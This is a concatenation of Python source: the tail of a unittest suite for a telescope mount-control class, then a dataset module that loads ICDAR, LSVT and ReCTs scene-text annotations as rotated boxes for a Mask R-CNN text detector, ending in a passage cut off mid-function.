obsSite.moveEast() self.assertEqual(suc, False) def test_moveEast_2(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 0 suc = obsSite.moveEast() self.assertEqual(suc, True) def test_moveSouth_1(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 0 suc = obsSite.moveSouth() self.assertEqual(suc, False) def test_moveSouth_2(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 0 suc = obsSite.moveSouth() self.assertEqual(suc, True) def test_moveWest_1(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 0 suc = obsSite.moveWest() self.assertEqual(suc, False) def test_moveWest_2(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 0 suc = obsSite.moveWest() self.assertEqual(suc, True) def test_stopMoveNorth_1(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 0 suc = obsSite.stopMoveNorth() self.assertEqual(suc, False) def test_stopMoveNorth_2(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 0 suc = obsSite.stopMoveNorth() self.assertEqual(suc, True) def test_stopMoveEast_1(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 0 suc = obsSite.stopMoveEast() self.assertEqual(suc, False) def test_stopMoveEast_2(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 0 suc = obsSite.stopMoveEast() self.assertEqual(suc, True) def test_stopMoveSouth_1(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 0 suc = obsSite.stopMoveSouth() self.assertEqual(suc, False) def test_stopMoveSouth_2(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 0 suc = obsSite.stopMoveSouth() self.assertEqual(suc, True) def test_stopMoveWest_1(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 0 suc = obsSite.stopMoveWest() self.assertEqual(suc, False) def test_stopMoveWest_2(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 0 suc = obsSite.stopMoveWest() self.assertEqual(suc, True) def test_stopMoveAll_1(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 0 suc = obsSite.stopMoveAll() self.assertEqual(suc, False) def test_stopMoveAll_2(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 0 suc = obsSite.stopMoveAll() self.assertEqual(suc, True) def test_syncPositionToTarget_1(self): obsSite = ObsSite(pathToData=pathToData) response = [] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = False, response, 0 suc = obsSite.syncPositionToTarget() self.assertEqual(suc, False) def test_syncPositionToTarget_2(self): obsSite = ObsSite(pathToData=pathToData) response = [''] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 0 suc = obsSite.syncPositionToTarget() self.assertEqual(suc, False) def test_syncPositionToTarget_3(self): obsSite = ObsSite(pathToData=pathToData) response = ['Coordinates'] with mock.patch('mountcontrol.obsSite.Connection') as mConn: mConn.return_value.communicate.return_value = True, response, 0 suc = obsSite.syncPositionToTarget() self.assertEqual(suc, True)

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0.871011

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0.726218

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a2a03b765233abe2c0ab6bf5df3a0c96e9b42c1a

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Python

maskrcnn_benchmark/data/datasets/rotation_series.py

clw5180/remote_sensing_object_detection_2019

7b348cc237238397798b41e536e212d2471d6da9

[ "MIT" ]

62

2019-08-23T02:01:22.000Z

2021-12-19T03:35:49.000Z

maskrcnn_benchmark/data/datasets/rotation_series.py

efandong/remote_sensing_object_detection_2019

3810ab924d1899cf43e50c42a790674d738263d3

[ "MIT" ]

25

2019-08-23T02:19:00.000Z

2022-01-08T11:26:56.000Z

maskrcnn_benchmark/data/datasets/rotation_series.py

efandong/remote_sensing_object_detection_2019

3810ab924d1899cf43e50c42a790674d738263d3

[ "MIT" ]

21

2019-08-23T02:21:59.000Z

2022-02-13T04:08:26.000Z

import os import pickle import torch import torch.utils.data from PIL import Image import sys import numpy as np import time if sys.version_info[0] == 2: import xml.etree.cElementTree as ET else: import xml.etree.ElementTree as ET import json from maskrcnn_benchmark.data.transforms import transforms as T from maskrcnn_benchmark.structures.bounding_box import RBoxList from maskrcnn_benchmark.utils.visualize import vis_image import cv2 def get_ICDAR2013(mode, dataset_dir): DATASET_DIR = dataset_dir img_dir = "/ch2_training_images/" gt_dir = "/ch2_training_localization_transcription_gt" # gt_list = [] # img_list = [] im_infos = [] image_dir = DATASET_DIR + img_dir gt_file_list = os.listdir(image_dir) gt_words = [] if mode == 'train': cache_pkl = './data_cache/IC13_training.pkl' if os.path.isfile(cache_pkl): return pickle.load(open(cache_pkl, 'rb')) for image in gt_file_list: prefix = image[:-4] im_path = os.path.join(image_dir, image) gt_path = os.path.join(dataset_dir + gt_dir, 'gt_' + prefix + '.txt') print(im_path) gt_list = open(gt_path, 'r', encoding='utf-8').readlines() im = cv2.imread(im_path) if im is None: print(im_path + '--> None') continue boxes = [] for gt_ele in gt_list: gt_ele = gt_ele.replace('\n', '').replace('\ufeff', '') gt = gt_ele.split(',') if len(gt) > 1: gt_ind = np.array(gt[:8], dtype=np.float32) gt_ind = np.array(gt_ind, dtype=np.int32) words = gt[8] pt1 = (int(gt_ind[0]), int(gt_ind[1])) pt2 = (int(gt_ind[2]), int(gt_ind[3])) pt3 = (int(gt_ind[4]), int(gt_ind[5])) pt4 = (int(gt_ind[6]), int(gt_ind[7])) edge1 = np.sqrt((pt1[0] - pt2[0]) * (pt1[0] - pt2[0]) + (pt1[1] - pt2[1]) * (pt1[1] - pt2[1])) edge2 = np.sqrt((pt2[0] - pt3[0]) * (pt2[0] - pt3[0]) + (pt2[1] - pt3[1]) * (pt2[1] - pt3[1])) angle = 0 if edge1 > edge2: width = edge1 height = edge2 if pt1[0] - pt2[0] != 0: angle = -np.arctan(float(pt1[1] - pt2[1]) / float(pt1[0] - pt2[0])) / 3.1415926 * 180 else: angle = 90.0 elif edge2 >= edge1: width = edge2 height = edge1 # print pt2[0], pt3[0] if pt2[0] - pt3[0] != 0: angle = -np.arctan(float(pt2[1] - pt3[1]) / float(pt2[0] - pt3[0])) / 3.1415926 * 180 else: angle = 90.0 if angle < -45.0: angle = angle + 180 x_ctr = float(pt1[0] + pt3[0]) / 2 # pt1[0] + np.abs(float(pt1[0] - pt3[0])) / 2 y_ctr = float(pt1[1] + pt3[1]) / 2 # pt1[1] + np.abs(float(pt1[1] - pt3[1])) / 2 if height * width * (800 / float(im.shape[0])) < 16 * 16 and mode == "train": continue # return to width, height # if '###' in words: # continue boxes.append([x_ctr, y_ctr, width, height, angle, words]) gt_words.append(words) cls_num = 2 len_of_bboxes = len(boxes) gt_boxes = np.zeros((len_of_bboxes, 5), dtype=np.int16) gt_classes = np.zeros((len_of_bboxes), dtype=np.int32) overlaps = np.zeros((len_of_bboxes, cls_num), dtype=np.float32) # text or non-text seg_areas = np.zeros((len_of_bboxes), dtype=np.float32) for idx in range(len(boxes)): gt_classes[idx] = 1 # cls_text overlaps[idx, 1] = 1.0 # prob seg_areas[idx] = (boxes[idx][2]) * (boxes[idx][3]) gt_boxes[idx, :] = [boxes[idx][0], boxes[idx][1], boxes[idx][2], boxes[idx][3], boxes[idx][4]] # print ("boxes_size:", gt_boxes.shape[0]) if gt_boxes.shape[0] > 0: max_overlaps = overlaps.max(axis=1) # gt class that had the max overlap max_classes = overlaps.argmax(axis=1) else: continue im_info = { 'gt_classes': gt_classes, 'max_classes': max_classes, 'image': im_path, 'boxes': gt_boxes, 'gt_words': gt_words, 'flipped': False, 'gt_overlaps': overlaps, 'seg_areas': seg_areas, 'height': im.shape[0], 'width': im.shape[1], 'max_overlaps': max_overlaps, 'rotated': True } im_infos.append(im_info) f_save_pkl = open(cache_pkl, 'wb') pickle.dump(im_infos, f_save_pkl) f_save_pkl.close() print("Save pickle done.") return im_infos def get_ICDAR2015_RRC_PICK_TRAIN(mode, dataset_dir): # dir_path = "/home/shiki-alice/Downloads/ICDAR2015/ch4_training_images/" img_file_type = "jpg" image_dir = os.path.join(dataset_dir, 'ch4_training_images/') gt_dir = os.path.join(dataset_dir, 'ch4_training_localization_transcription_gt/') image_list = os.listdir(image_dir) image_list.sort() im_infos = [] cache_file = './data_cache/IC15_training.pkl' if os.path.isfile(cache_file): return pickle.load(open(cache_file, 'rb')) for image in image_list: prefix = image[:-4] img_name = os.path.join(image_dir, image) gt_name = os.path.join(gt_dir, 'gt_' + prefix + '.txt') # img_name = dir_path + img_list[idx] # gt_name = gt_dir + gt_list[idx] easy_boxes = [] hard_boxes = [] boxes = [] # print gt_name gt_obj = open(gt_name, 'r') gt_txt = gt_obj.read() gt_split = gt_txt.split('\n') img = cv2.imread(img_name) print(img_name) f = False # print '-------------' for gt_line in gt_split: if not f: gt_ind = gt_line.split('\\') f = True else: gt_ind = gt_line.split(',') if len(gt_ind) > 3 and '###' not in gt_ind[8]: # condinate_list = gt_ind[2].split(',') # print ("easy: ", gt_ind) pt1 = (int(gt_ind[0]), int(gt_ind[1])) pt2 = (int(gt_ind[2]), int(gt_ind[3])) pt3 = (int(gt_ind[4]), int(gt_ind[5])) pt4 = (int(gt_ind[6]), int(gt_ind[7])) edge1 = np.sqrt((pt1[0] - pt2[0]) * (pt1[0] - pt2[0]) + (pt1[1] - pt2[1]) * (pt1[1] - pt2[1])) edge2 = np.sqrt((pt2[0] - pt3[0]) * (pt2[0] - pt3[0]) + (pt2[1] - pt3[1]) * (pt2[1] - pt3[1])) angle = 0 if edge1 > edge2: width = edge1 height = edge2 if pt1[0] - pt2[0] != 0: angle = -np.arctan(float(pt1[1] - pt2[1]) / float(pt1[0] - pt2[0])) / 3.1415926 * 180 else: angle = 90.0 elif edge2 >= edge1: width = edge2 height = edge1 # print pt2[0], pt3[0] if pt2[0] - pt3[0] != 0: angle = -np.arctan(float(pt2[1] - pt3[1]) / float(pt2[0] - pt3[0])) / 3.1415926 * 180 else: angle = 90.0 if angle < -45.0: angle = angle + 180 x_ctr = float(pt1[0] + pt3[0]) / 2 # pt1[0] + np.abs(float(pt1[0] - pt3[0])) / 2 y_ctr = float(pt1[1] + pt3[1]) / 2 # pt1[1] + np.abs(float(pt1[1] - pt3[1])) / 2 easy_boxes.append([x_ctr, y_ctr, width, height, angle]) if len(gt_ind) > 3 and '###' in gt_ind[8]: # condinate_list = gt_ind[2].split(',') # print "hard: ", gt_ind pt1 = (int(gt_ind[0]), int(gt_ind[1])) pt2 = (int(gt_ind[2]), int(gt_ind[3])) pt3 = (int(gt_ind[4]), int(gt_ind[5])) pt4 = (int(gt_ind[6]), int(gt_ind[7])) edge1 = np.sqrt((pt1[0] - pt2[0]) * (pt1[0] - pt2[0]) + (pt1[1] - pt2[1]) * (pt1[1] - pt2[1])) edge2 = np.sqrt((pt2[0] - pt3[0]) * (pt2[0] - pt3[0]) + (pt2[1] - pt3[1]) * (pt2[1] - pt3[1])) angle = 0 if edge1 > edge2: width = edge1 height = edge2 if pt1[0] - pt2[0] != 0: angle = -np.arctan(float(pt1[1] - pt2[1]) / float(pt1[0] - pt2[0])) / 3.1415926 * 180 else: angle = 90.0 elif edge2 >= edge1: width = edge2 height = edge1 # print pt2[0], pt3[0] if pt2[0] - pt3[0] != 0: angle = -np.arctan(float(pt2[1] - pt3[1]) / float(pt2[0] - pt3[0])) / 3.1415926 * 180 else: angle = 90.0 if angle < -45.0: angle = angle + 180 x_ctr = float(pt1[0] + pt3[0]) / 2 # pt1[0] + np.abs(float(pt1[0] - pt3[0])) / 2 y_ctr = float(pt1[1] + pt3[1]) / 2 # pt1[1] + np.abs(float(pt1[1] - pt3[1])) / 2 hard_boxes.append([x_ctr, y_ctr, width, height, angle]) boxes.extend(easy_boxes) boxes.extend(hard_boxes[0: int(len(hard_boxes) / 3)]) len_of_bboxes = len(boxes) gt_boxes = np.zeros((len_of_bboxes, 5), dtype=np.int16) gt_classes = np.zeros((len_of_bboxes), dtype=np.int32) overlaps = np.zeros((len_of_bboxes, 2), dtype=np.float32) # text or non-text seg_areas = np.zeros((len_of_bboxes), dtype=np.float32) for idx in range(len(boxes)): gt_boxes[idx, :] = [boxes[idx][0], boxes[idx][1], boxes[idx][2], boxes[idx][3], boxes[idx][4]] gt_classes[idx] = 1 # cls_text overlaps[idx, 1] = 1.0 # cls_text seg_areas[idx] = (boxes[idx][2]) * (boxes[idx][3]) max_overlaps = overlaps.max(axis=1) # gt class that had the max overlap max_classes = overlaps.argmax(axis=1) if gt_boxes.shape[0] <= 0: continue # print('gt_boxes:', gt_boxes) im_info = { 'gt_classes': gt_classes, 'max_classes': max_classes, 'image': img_name, 'boxes': gt_boxes, 'flipped': False, 'gt_overlaps': overlaps, 'seg_areas': seg_areas, 'height': img.shape[0], 'width': img.shape[1], 'max_overlaps': max_overlaps, 'rotated': True } im_infos.append(im_info) f_save_pkl = open(cache_file, 'wb') pickle.dump(im_infos, f_save_pkl) f_save_pkl.close() print ("Save pickle done.") return im_infos def get_ICDAR2017_mlt(mode, dataset_dir): DATASET_DIR = dataset_dir task = 'double_class' prefetched = True if os.path.isfile('./data_cache/ICDAR2017_training_cache.pkl') else False im_infos = [] data_list = [] gt_list = [] img_type = ['jpg', 'png', 'gif'] cls_list = {'background': 0, 'Arabic': 1, 'English': 2, 'Japanese': 3, 'French': 4, 'German': 5, 'Chinese': 6, 'Korean': 7, 'Italian': 8, 'Bangla': 9} if not prefetched: # training set contains 7200 images with if mode == "train": for i in range(7200): img_candidate_path = DATASET_DIR + "ch8_training_images_" + str(int(i / 1000) + 1) + "/" + 'img_' + str( i + 1) + "." if os.path.isfile(img_candidate_path + img_type[0]): img_candidate_path += img_type[0] elif os.path.isfile(img_candidate_path + img_type[1]): img_candidate_path += img_type[1] elif os.path.isfile(img_candidate_path + img_type[2]): im = Image.open(img_candidate_path + img_type[2]) im = im.convert('RGB') im.save(img_candidate_path + "jpg", "jpeg") img_candidate_path = img_candidate_path + "jpg" data_list.append(img_candidate_path) # print ("data_list:", len(data_list)) gt_candidate_path = DATASET_DIR + "ch8_training_localization_transcription_gt/" + 'gt_img_' + str( i + 1) + ".txt" if os.path.isfile(gt_candidate_path): gt_list.append(gt_candidate_path) # print ("gt_list:", len(gt_list)) f_gt = open(gt_candidate_path) f_content = f_gt.read() lines = f_content.split('\n') print (img_candidate_path) img = cv2.imread(img_candidate_path) boxes = [] for gt_line in lines: # print (gt_line) gt_ind = gt_line.split(',') if len(gt_ind) > 3: pt1 = (int(gt_ind[0]), int(gt_ind[1])) pt2 = (int(gt_ind[2]), int(gt_ind[3])) pt3 = (int(gt_ind[4]), int(gt_ind[5])) pt4 = (int(gt_ind[6]), int(gt_ind[7])) edge1 = np.sqrt((pt1[0] - pt2[0]) * (pt1[0] - pt2[0]) + (pt1[1] - pt2[1]) * (pt1[1] - pt2[1])) edge2 = np.sqrt((pt2[0] - pt3[0]) * (pt2[0] - pt3[0]) + (pt2[1] - pt3[1]) * (pt2[1] - pt3[1])) angle = 0 if edge1 > edge2: width = edge1 height = edge2 if pt1[0] - pt2[0] != 0: angle = -np.arctan(float(pt1[1] - pt2[1]) / float(pt1[0] - pt2[0])) / 3.1415926 * 180 else: angle = 90.0 elif edge2 >= edge1: width = edge2 height = edge1 # print pt2[0], pt3[0] if pt2[0] - pt3[0] != 0: angle = -np.arctan(float(pt2[1] - pt3[1]) / float(pt2[0] - pt3[0])) / 3.1415926 * 180 else: angle = 90.0 if angle < -45.0: angle = angle + 180 x_ctr = float(pt1[0] + pt3[0]) / 2 # pt1[0] + np.abs(float(pt1[0] - pt3[0])) / 2 y_ctr = float(pt1[1] + pt3[1]) / 2 # pt1[1] + np.abs(float(pt1[1] - pt3[1])) / 2 if height * width < 32 * 32: continue if not gt_ind[8].replace('\n', '') in ['English', 'French', 'German', 'Italian']: continue boxes.append([x_ctr, y_ctr, width, height, angle, gt_ind[8]]) # print ("line_size:", len(lines)) cls_num = 2 if task == "multi_class": cls_num = len(cls_list.keys()) len_of_bboxes = len(boxes) gt_boxes = np.zeros((len_of_bboxes, 5), dtype=np.int16) gt_classes = np.zeros((len_of_bboxes), dtype=np.int32) overlaps = np.zeros((len_of_bboxes, cls_num), dtype=np.float32) # text or non-text seg_areas = np.zeros((len_of_bboxes), dtype=np.float32) if task == "multi_class": gt_boxes = [] # np.zeros((len_of_bboxes, 5), dtype=np.int16) gt_classes = [] # np.zeros((len_of_bboxes), dtype=np.int32) overlaps = [] # np.zeros((len_of_bboxes, cls_num), dtype=np.float32) #text or non-text seg_areas = [] # np.zeros((len_of_bboxes), dtype=np.float32) for idx in range(len(boxes)): if task == "multi_class": if not boxes[idx][5] in cls_list: print (boxes[idx][5] + " not in list") continue gt_classes.append(cls_list[boxes[idx][5]]) # cls_text overlap = np.zeros((cls_num)) overlap[cls_list[boxes[idx][5]]] = 1.0 # prob overlaps.append(overlap) seg_areas.append((boxes[idx][2]) * (boxes[idx][3])) gt_boxes.append([boxes[idx][0], boxes[idx][1], boxes[idx][2], boxes[idx][3], boxes[idx][4]]) else: gt_classes[idx] = 1 # cls_text overlaps[idx, 1] = 1.0 # prob seg_areas[idx] = (boxes[idx][2]) * (boxes[idx][3]) gt_boxes[idx, :] = [boxes[idx][0], boxes[idx][1], boxes[idx][2], boxes[idx][3], boxes[idx][4]] if task == "multi_class": gt_classes = np.array(gt_classes) overlaps = np.array(overlaps) seg_areas = np.array(seg_areas) gt_boxes = np.array(gt_boxes) # print ("boxes_size:", gt_boxes.shape[0]) if gt_boxes.shape[0] > 0: max_overlaps = overlaps.max(axis=1) # gt class that had the max overlap max_classes = overlaps.argmax(axis=1) else: continue im_info = { 'gt_classes': gt_classes, 'max_classes': max_classes, 'image': img_candidate_path, 'boxes': gt_boxes, 'flipped': False, 'gt_overlaps': overlaps, 'seg_areas': seg_areas, 'height': img.shape[0], 'width': img.shape[1], 'max_overlaps': max_overlaps, 'rotated': True } im_infos.append(im_info) f_save_pkl = open('./data_cache/ICDAR2017_training_cache.pkl', 'wb') pickle.dump(im_infos, f_save_pkl) f_save_pkl.close() print ("Save pickle done.") elif mode == "validation": for i in range(1800): img_candidate_path = DATASET_DIR + "ch8_validation_images/" + 'img_' + str(i + 1) + "." if os.path.isfile(img_candidate_path + img_type[0]): img_candidate_path += img_type[0] elif os.path.isfile(img_candidate_path + img_type[1]): img_candidate_path += img_type[1] elif os.path.isfile(img_candidate_path + img_type[2]): im = Image.open(img_candidate_path + img_type[2]) im = im.convert('RGB') im.save(img_candidate_path + "jpg", "jpeg") img_candidate_path = img_candidate_path + "jpg" data_list.append(img_candidate_path) # print ("data_list:", len(data_list)) gt_candidate_path = DATASET_DIR + "ch8_validation_localization_transcription_gt/" + 'gt_img_' + str( i + 1) + ".txt" if os.path.isfile(gt_candidate_path): gt_list.append(gt_candidate_path) # print ("gt_list:", len(gt_list)) f_gt = open(gt_candidate_path) f_content = f_gt.read() lines = f_content.split('\n') print (img_candidate_path) img = cv2.imread(img_candidate_path) boxes = [] for gt_line in lines: # print (gt_line) gt_ind = gt_line.split(',') if len(gt_ind) > 3: pt1 = (int(gt_ind[0]), int(gt_ind[1])) pt2 = (int(gt_ind[2]), int(gt_ind[3])) pt3 = (int(gt_ind[4]), int(gt_ind[5])) pt4 = (int(gt_ind[6]), int(gt_ind[7])) edge1 = np.sqrt((pt1[0] - pt2[0]) * (pt1[0] - pt2[0]) + (pt1[1] - pt2[1]) * (pt1[1] - pt2[1])) edge2 = np.sqrt((pt2[0] - pt3[0]) * (pt2[0] - pt3[0]) + (pt2[1] - pt3[1]) * (pt2[1] - pt3[1])) angle = 0 if edge1 > edge2: width = edge1 height = edge2 if pt1[0] - pt2[0] != 0: angle = -np.arctan(float(pt1[1] - pt2[1]) / float(pt1[0] - pt2[0])) / 3.1415926 * 180 else: angle = 90.0 elif edge2 >= edge1: width = edge2 height = edge1 # print pt2[0], pt3[0] if pt2[0] - pt3[0] != 0: angle = -np.arctan(float(pt2[1] - pt3[1]) / float(pt2[0] - pt3[0])) / 3.1415926 * 180 else: angle = 90.0 if angle < -45.0: angle = angle + 180 x_ctr = float(pt1[0] + pt3[0]) / 2 # pt1[0] + np.abs(float(pt1[0] - pt3[0])) / 2 y_ctr = float(pt1[1] + pt3[1]) / 2 # pt1[1] + np.abs(float(pt1[1] - pt3[1])) / 2 if height * width * (800 / float(img.shape[0])) < 16 * 16 and mode == "train": continue boxes.append([x_ctr, y_ctr, width, height, angle, gt_ind[8]]) cls_num = 2 if task == "multi_class": cls_num = len(cls_list.keys()) len_of_bboxes = len(boxes) gt_boxes = np.zeros((len_of_bboxes, 5), dtype=np.int16) gt_classes = np.zeros((len_of_bboxes), dtype=np.int32) overlaps = np.zeros((len_of_bboxes, cls_num), dtype=np.float32) # text or non-text seg_areas = np.zeros((len_of_bboxes), dtype=np.float32) for idx in range(len(boxes)): if task == "multi_class": if not boxes[idx][5] in cls_list: break gt_classes[idx] = cls_list[boxes[idx][5]] # cls_text overlaps[idx, cls_list[boxes[idx][5]]] = 1.0 # prob else: gt_classes[idx] = 1 # cls_text overlaps[idx, 1] = 1.0 # prob seg_areas[idx] = (boxes[idx][2]) * (boxes[idx][3]) gt_boxes[idx, :] = [boxes[idx][0], boxes[idx][1], boxes[idx][2], boxes[idx][3], boxes[idx][4]] max_overlaps = overlaps.max(axis=1) # gt class that had the max overlap max_classes = overlaps.argmax(axis=1) im_info = { 'gt_classes': gt_classes, 'max_classes': max_classes, 'image': img_candidate_path, 'boxes': gt_boxes, 'flipped': False, 'gt_overlaps': overlaps, 'seg_areas': seg_areas, 'height': img.shape[0], 'width': img.shape[1], 'max_overlaps': max_overlaps, 'rotated': True } im_infos.append(im_info) f_save_pkl = open('ICDAR2017_validation_cache.pkl', 'wb') pickle.dump(im_infos, f_save_pkl) f_save_pkl.close() print ("Save pickle done.") else: if mode == "train": f_pkl = open('./data_cache/ICDAR2017_training_cache.pkl', 'rb') im_infos = pickle.load(f_pkl) if mode == "validation": f_pkl = open('ICDAR2017_validation_cache.pkl', 'rb') im_infos = pickle.load(f_pkl) return im_infos def get_ICDAR_LSVT_full(mode, dataset_dir): assert mode in ['train', 'val', 'full'], 'mode not in ' + str(['train', 'val', 'full']) data_split = { 'val':[0, 3000], 'train':[3000, 30000], 'full':[0, 30000] } vis = False cache_file = './data_cache/LSVT_det_' + mode + '.pkl' if os.path.isfile(cache_file): print('dataset cache found, loading from it...') im_infos = pickle.load(open(cache_file, 'rb')) print('load done') return im_infos im_codes = range(data_split[mode][0], data_split[mode][1]) gt_json = os.path.join(dataset_dir, 'train_full_labels.json') gt_dict = json.load(open(gt_json, 'r')) im_infos = [] num_samples = data_split[mode][1] - data_split[mode][0] for imnum in im_codes: forder = int(imnum / 15000) imfolder = os.path.join(dataset_dir, 'train_full_images_'+str(forder), 'train_full_images_'+str(forder)) impath = os.path.join(imfolder, 'gt_' + str(imnum) + '.jpg') gt_code = 'gt_' + str(imnum) gt_anno = gt_dict[gt_code] inst_num = len(gt_anno) im = cv2.imread(impath) easy_boxes = [] hard_boxes = [] print(str(imnum) + '/' + str(data_split[mode][0] + num_samples), impath) for i in range(inst_num): inst = gt_anno[i] # print(inst.keys()) poly = np.array(inst['points']) words = inst['transcription'] illegibility = inst['illegibility'] color = (255, 0, 255) if illegibility else (0, 0, 255) if poly.shape[0] > 4: # print('polygon:', poly.shape[0]) rect = cv2.minAreaRect(poly) poly = np.array(cv2.boxPoints(rect), np.int) # print('rect:', rect) if vis: rect_pt_num = rect.shape[0] for i in range(rect.shape[0]): cv2.line(im, (rect[i % rect_pt_num][0], rect[i % rect_pt_num][1]), (rect[(i + 1) % rect_pt_num][0], rect[(i + 1) % rect_pt_num][1]), (0, 255, 0), 2) if vis: pt_num = poly.shape[0] for i in range(poly.shape[0]): cv2.line(im, (poly[i % pt_num][0], poly[i % pt_num][1]), (poly[(i + 1) % pt_num][0], poly[(i + 1) % pt_num][1]), color, 2) poly = poly.reshape(-1) pt1 = (int(poly[0]), int(poly[1])) pt2 = (int(poly[2]), int(poly[3])) pt3 = (int(poly[4]), int(poly[5])) pt4 = (int(poly[6]), int(poly[7])) edge1 = np.sqrt((pt1[0] - pt2[0]) * (pt1[0] - pt2[0]) + (pt1[1] - pt2[1]) * (pt1[1] - pt2[1])) edge2 = np.sqrt((pt2[0] - pt3[0]) * (pt2[0] - pt3[0]) + (pt2[1] - pt3[1]) * (pt2[1] - pt3[1])) angle = 0 if edge1 > edge2: width = edge1 height = edge2 if pt1[0] - pt2[0] != 0: angle = -np.arctan(float(pt1[1] - pt2[1]) / float(pt1[0] - pt2[0])) / 3.1415926 * 180 else: angle = 90.0 elif edge2 >= edge1: width = edge2 height = edge1 # print pt2[0], pt3[0] if pt2[0] - pt3[0] != 0: angle = -np.arctan(float(pt2[1] - pt3[1]) / float(pt2[0] - pt3[0])) / 3.1415926 * 180 else: angle = 90.0 if angle < -45.0: angle = angle + 180 x_ctr = float(pt1[0] + pt3[0]) / 2 # pt1[0] + np.abs(float(pt1[0] - pt3[0])) / 2 y_ctr = float(pt1[1] + pt3[1]) / 2 # pt1[1] + np.abs(float(pt1[1] - pt3[1])) / 2 # if height * width * (800 / float(img.shape[0])) < 16 * 16 and mode == "train": # continue if illegibility: hard_boxes.append([x_ctr, y_ctr, width, height, angle]) else: easy_boxes.append([x_ctr, y_ctr, width, height, angle]) # boxes.append([x_ctr, y_ctr, width, height, angle, gt_ind[8]]) # img_pil = Image.fromarray(im) boxes = [] boxes.extend(easy_boxes) boxes.extend(hard_boxes[0: int(len(hard_boxes) / 5)]) len_of_bboxes = len(boxes) gt_boxes = np.zeros((len_of_bboxes, 5), dtype=np.int16) gt_classes = np.zeros((len_of_bboxes), dtype=np.int32) overlaps = np.zeros((len_of_bboxes, 2), dtype=np.float32) # text or non-text seg_areas = np.zeros((len_of_bboxes), dtype=np.float32) for idx in range(len(boxes)): gt_boxes[idx, :] = [boxes[idx][0], boxes[idx][1], boxes[idx][2], boxes[idx][3], boxes[idx][4]] gt_classes[idx] = 1 # cls_text overlaps[idx, 1] = 1.0 # cls_text seg_areas[idx] = (boxes[idx][2]) * (boxes[idx][3]) # img_pil = vis_image(img_pil, gt_boxes) # img_pil.save('gt_LSVT.jpg', 'jpeg') # break max_overlaps = overlaps.max(axis=1) # gt class that had the max overlap max_classes = overlaps.argmax(axis=1) if gt_boxes.shape[0] <= 0 or gt_boxes.shape[0] > 100: continue # print('gt_boxes:', gt_boxes) im_info = { 'gt_classes': gt_classes, 'max_classes': max_classes, 'image': impath, 'boxes': gt_boxes, 'flipped': False, 'gt_overlaps': overlaps, 'seg_areas': seg_areas, 'height': im.shape[0], 'width': im.shape[1], 'max_overlaps': max_overlaps, 'rotated': True } im_infos.append(im_info) print('Saving pkls...') pkl_f = open(cache_file, 'wb') pickle.dump(im_infos, pkl_f) pkl_f.close() print('done') return im_infos def get_ICDAR_ReCTs_full(mode, dataset_dir): assert mode in ['train', 'val', 'full'], 'mode not in ' + str(['train', 'val', 'full']) data_split = { 'val':[0, 3000], 'train':[0, 18000], 'full':[0, 30000] } vis = False cache_file = './data_cache/ReCTs_det_' + mode + '.pkl' if os.path.isfile(cache_file): print('dataset cache found, loading from it...') im_infos = pickle.load(open(cache_file, 'rb')) print('load done') return im_infos # im_codes = range(data_split[mode][0], data_split[mode][1]) # gt_json = os.path.join(dataset_dir, 'train_full_labels.json') # gt_dict = json.load(open(gt_json, 'r')) gt_dir = os.path.join(dataset_dir, mode, 'gt') im_dir = os.path.join(dataset_dir, mode, 'image') imlist = os.listdir(im_dir) im_infos = [] num_samples = data_split[mode][1] - data_split[mode][0] cnt = 0 for imname in imlist: # forder = int(imnum / 15000) # imfolder = os.path.join(dataset_dir, 'train_full_images_'+str(forder), 'train_full_images_'+str(forder)) impath = os.path.join(im_dir, imname) gtpath = os.path.join(gt_dir, imname.split('.')[0] + '.json') gt_anno = open(gtpath, 'r') inst_num = len(gt_anno) im = cv2.imread(impath) easy_boxes = [] hard_boxes = [] cnt += 1 print(str(cnt) + '/' + str(data_split[mode][0] + num_samples), impath) # using lines lines = gt_anno['lines'] for i in range(len(lines)): inst = lines[i] # print(inst.keys()) poly = np.array(inst['points']).reshape(-1, 2) words = inst['transcription'] ignore = inst['ignore'] color = (255, 0, 255) if not ignore else (0, 0, 255) if poly.shape[0] > 4: # print('polygon:', poly.shape[0]) rect = cv2.minAreaRect(poly) poly = np.array(cv2.boxPoints(rect), np.int) # print('rect:', rect) if vis: rect_pt_num = rect.shape[0] for i in range(rect.shape[0]): cv2.line(im, 